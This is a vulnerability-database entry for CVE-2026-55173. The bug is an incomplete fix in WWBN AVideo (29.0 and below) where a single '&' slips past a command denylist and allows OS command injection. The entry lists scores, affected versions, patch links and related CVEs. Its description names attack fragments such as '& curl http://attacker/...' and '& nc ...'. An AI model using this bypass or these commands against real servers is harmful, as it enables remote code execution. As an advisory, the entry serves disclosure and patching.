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CVE-2026-55173— AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink

Quick assessment

Affected
WWBN AVideo
Exploitation
No confirmed in-the-wild exploitation; assess based on exposure
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

WWBN avideo是WWBN组织开源的一套视频内容管理系统。 WWBN AVideo 29.0及之前版本存在命令注入漏洞，该漏洞源于对命令替换过滤不完整，未能处理单个&符号，可能导致OS命令注入攻击。

CVSS 8.1 · High EPSS 3.43% · P89

Affected Version Matrix 1

VendorProduct Version RangeStatus
WWBN AVideo <= 29.0 affected
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I. Basic Information for CVE-2026-55173

Vulnerability Information
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Vulnerability Title
AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
Source: CVE Program / CVE List V5
Vulnerability Description
WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.
Source: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Source: CVE Program / CVE List V5
Vulnerability Type
OS命令中使用的特殊元素转义处理不恰当(OS命令注入)
Source: CVE Program / CVE List V5
Vulnerability Title
WWBN AVideo 命令注入漏洞
Source: CNNVD (China National Vulnerability Database)
Vulnerability Description
WWBN avideo是WWBN组织开源的一套视频内容管理系统。 WWBN AVideo 29.0及之前版本存在命令注入漏洞，该漏洞源于对命令替换过滤不完整，未能处理单个&符号，可能导致OS命令注入攻击。
Source: CNNVD (China National Vulnerability Database)
CVSS Information
N/A
Source: CNNVD (China National Vulnerability Database)
Vulnerability Type
N/A
Source: CNNVD (China National Vulnerability Database)

Affected Products

Vendor Product Affected Versions CPE Subscribe
WWBN AVideo <= 29.0 -

II. Public POCs for CVE-2026-55173

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III. Intelligence Information for CVE-2026-55173

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Patches & Fixes for CVE-2026-55173 (1)

Vendor Advisories for CVE-2026-55173 (1)

Same Patch Batch · WWBN · 2026-07-16 · 5 CVEs total

CVE-2026-63305 8.1 HIGH AVideo through 29.0 OS Command Injection via ffmpeg.json.php
CVE-2026-63304 8.1 HIGH AVideo through 29.0 OS Command Injection via listFFmpegProcesses
CVE-2026-33692 7.5 HIGH AVideo Has Unauthenticated .env File Exposure via Official Docker Compose Configuration
CVE-2026-33731 6.5 MEDIUM AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation

IV. Related Vulnerabilities

Same product: AVideo
Same vendor: WWBN
Same weakness: CWE-78

V. Comments for CVE-2026-55173

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